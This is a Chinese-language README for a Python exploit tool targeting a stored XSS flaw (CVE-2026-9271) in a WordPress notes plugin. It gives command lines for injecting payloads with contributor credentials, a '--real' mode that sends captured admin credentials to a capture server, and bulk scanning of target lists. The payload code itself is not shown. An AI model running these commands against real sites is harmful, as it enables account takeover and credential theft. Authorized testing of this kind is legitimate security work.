CVE-2026-9271 授权安全评估工具
作者:Sudeepa Wanigarathna · 工具:KIM-Guardian Pro v1.0
主脚本:CVE-2026-9271.py
[!IMPORTANT] 仅限授权使用。 本工具仅用于安全研究、教育,以及对您拥有或已获得明确书面授权评估的系统进行测试。未经授权访问计算机系统属于违法行为。作者对滥用行为不承担任何责任。
CVE-2026-9271 是 WordPress KeepInMind(Dashboard Notes)插件中的一个存储型跨站脚本(XSS)漏洞。由于对笔记内容过滤不足,低权限的已认证用户(Contributor+ 及以上)可以存储 HTML/JS,这些脚本会在管理员浏览器中执行,进而可能导致管理员会话被入侵 / 账户被接管。
KIM-Guardian Pro(CVE-2026-9271.py)是一款面向授权测试人员的 Python 评估工具,可用于:
reports/ 下的文本报告中| 属性 | 值 |
|---|---|
| CVE ID | CVE-2026-9271 |
| 攻击向量 | 已认证(Contributor+)→ 存储型 XSS → 影响管理员 |
| 影响 | 管理员浏览器 XSS;在易受攻击的安装中可能导致账户被接管 |
| 受影响产品 | WordPress KeepInMind / KeepInMind Dashboard Notes |
| 受影响版本 | ≤ 0.8.4.2(已在 0.8.4.3+ 中修复) |
| 漏洞类型 | 存储型跨站脚本(XSS) |
| CWE | CWE-79(在网页生成过程中未正确中和输入) |
| 攻击面 | 作用 |
|---|---|
/wp-json/keepinmind/v1/notes | 用于创建/读取笔记的 REST API |
/wp-admin/ | 存储的笔记可能在管理后台中渲染 |
| 插件路径 | /wp-content/plugins/keepinmind-dashboard-notes/ |
--no-cleanup)| 功能 | 说明 |
|---|---|
| 插件检测 | 检查 KeepInMind 安装路径和版本字符串 |
| WordPress 版本 | 可用时提取 generator / 版本元数据 |
| 安全测试模式 | 默认使用覆盖层标记证明 XSS,不捕获凭证 |
| 认证评估 | 使用 Contributor+ 凭证登录,进行完整的 REST 注入 |
| 载荷清理 | 评估后移除注入的笔记 |
| 批量扫描 | 多线程扫描 URL 列表,检测插件及易受攻击的版本 |
| SQLite 历史 | 将评估存储在 kim_guardian.db 中 |
| 文本报告 | 在 reports/ 下写入带时间戳的报告 |
| 捕获服务器 | 可选的本地 HTTP 监听器,用于实验环境凭证捕获演练 |
| Web UI | 可选的 Flask 仪表盘(web 模式) |
| 功能 | 说明 |
|---|---|
| 详细日志记录 | 在 logs/ 下输出文件 + 控制台调试信息 |
| 代理支持 | 通过 Burp 或其他 HTTP 代理路由流量 |
| 可配置超时 | 每次请求的超时时间(默认 30 秒) |
| 工作线程池 | 批量扫描的可调并发 |
pipcd /path/to/exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
# Recommended extras used by this script:
pip install colorama beautifulsoup4 requests flask
python3 CVE-2026-9271.py --help
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0 # optional — web mode only
请仅将
https://lab.example替换为实验环境或已授权的目标。
# Help / modes
python3 CVE-2026-9271.py --help
# Safe single-target assessment (default: test payload)
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' -v
# Bulk version / plugin scan
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt
# List recent assessments from SQLite
python3 CVE-2026-9271.py db --list --limit 20
# Local capture server (lab only)
python3 CVE-2026-9271.py capture --port 5000
# Optional web UI
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
默认模式使用不捕获凭证的测试覆盖层。请提供 Contributor+ 凭证,以便通过 REST API 进行注入。
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor \
-p 'password' \
-v
工作流程:
-u / -p)--no-cleanup)reports/kim_assessment_*.txtpython3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' --no-cleanup
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
--timeout 45 \
-v
需要攻击者/捕获服务器的基础 URL 以及 --real 参数。实验环境中建议将捕获服务器保持在 localhost。
# Terminal 1 — capture listener
python3 CVE-2026-9271.py capture --port 5000
# Terminal 2 — assessment with capture endpoint
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
-a http://127.0.0.1:5000 \
--real \
-v
捕获服务器 UI(当服务器运行时):
| 路径 | 用途 |
|---|---|
/ | 捕获服务器状态页 |
/capture | 用于表单提交的 POST 端点 |
/captured | 最近捕获的条目(实验环境审查) |
# targets.txt — one URL per line
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt
# Or comma-separated URLs
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3
批量检查通常包括 WordPress 识别信息、KeepInMind 版本、REST 可达性以及 wp-login.php 是否存在。
python3 CVE-2026-9271.py db --list
python3 CVE-2026-9271.py db --list --limit 50
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
出于安全考虑,默认绑定到 localhost。
| 模式 | 说明 |
|---|---|
assess | 单目标 KeepInMind 评估 |
bulk | 多目标插件 / 版本扫描 |
capture | 本地凭证捕获 HTTP 服务器 |
web | 可选的 Flask Web UI |
db | 列出已存储的评估 |
assess| 参数 | 默认值 | 说明 |
|---|---|---|
url | 必填 | 目标 WordPress URL |
-u, --username | — | WordPress 用户名(Contributor+ 及以上) |
-p, --password | — | WordPress 密码 |
-a, --attacker | — | 捕获服务器基础 URL(实验环境模拟) |
-t, --test | 开启 | 优先使用安全测试载荷 |
-r, --real | 关闭 | 启用实验环境攻击载荷(需要 --attacker) |
--no-cleanup | 关闭 | 保留注入的笔记 |
-v, --verbose | 关闭 | 详细 / 调试日志 |
--timeout | 30 | 请求超时时间(秒) |
--proxy | — | 代理 URL(例如 http://127.0.0.1:8080) |
bulk| 参数 | 默认值 | 说明 |
|---|---|---|
-f, --file | — | URL 文件(每行一个) |
-u, --urls | — | 逗号分隔的 URL 列表 |
-w, --workers | 5 | 线程池大小 |
-o, --output | bulk_scan_results.txt | 报告路径 |
capture| 参数 | 默认值 | 说明 |
|---|---|---|
--port | 5000 | 监听端口 |
web| 参数 | 默认值 | 说明 |
|---|---|---|
--host | 127.0.0.1 | 绑定地址 |
--port | 8080 | 监听端口 |
db| 参数 | 默认值 | 说明 |
|---|---|---|
--list | 关闭 | 列出最近的评估 |
--limit | 10 | 显示的最大行数 |
认证、插件检测、注入、验证和清理的彩色状态输出。
成功的 assess 运行会写入如下格式的文件:
reports/kim_assessment_YYYYMMDD_HHMMSS.txt
| 文件 | 用途 |
|---|---|
kim_guardian.db | 评估历史(目标、版本、漏洞标志、风险、耗时) |
| 路径 | 用途 |
|---|---|
logs/kim_pro_*.log | 每次运行的应用程序日志 |
| 症状 | 解决方法 |
|---|---|
| 认证失败 | 确认 Contributor+ 凭证;检查 /wp-login.php;使用 -v |
| 未检测到插件 | 验证 KeepInMind 路径/名称;尝试详细模式 |
| REST 注入失败 | 确认认证 + nonce;使用 --proxy 通过 Burp 检查 |
| 超时 / 连接错误 | 调大 --timeout;检查网络 / TLS / 代理 |
| 测试模式下未发现漏洞 | 确认版本 ≤ 0.8.4.2;确保笔记能在管理员处渲染 |
web 模式缺少 Flask | pip install flask |
| 缺少 BeautifulSoup | pip install beautifulsoup4 |
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
-v
exploit/
├── CVE-2026-9271.py # KIM-Guardian Pro (v1.0)
├── requirements.txt # Python dependencies
├── README.md # This file
├── kim_guardian.db # SQLite assessment history (generated)
├── logs/ # Runtime logs (generated)
├── reports/ # Assessment text reports (generated)
└── venv/ # Local virtualenv (optional)
本项目按原样提供,仅用于防御性安全研究和授权渗透测试。
使用本软件即表示您同意:
如果您在自己不拥有的生产系统中发现此问题,请遵循负责任披露流程,通知站点所有者和插件维护者。
未经授权访问计算机系统属于违法行为。
| 角色 | 姓名 |
|---|---|
| 工具作者 | Sudeepa Wanigarathna |
| CVE | CVE-2026-9271 |
| 工具 | KIM-Guardian Pro v1.0 |
| 主脚本 | CVE-2026-9271.py |
| 许可证 | 教育 / 防御性用途 |
Educational / Defensive Use Only
Copyright (c) 2026 Sudeepa Wanigarathna
Permission is granted to use this software for authorized security research,
education, and defensive assessment only.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
仅限授权安全测试使用。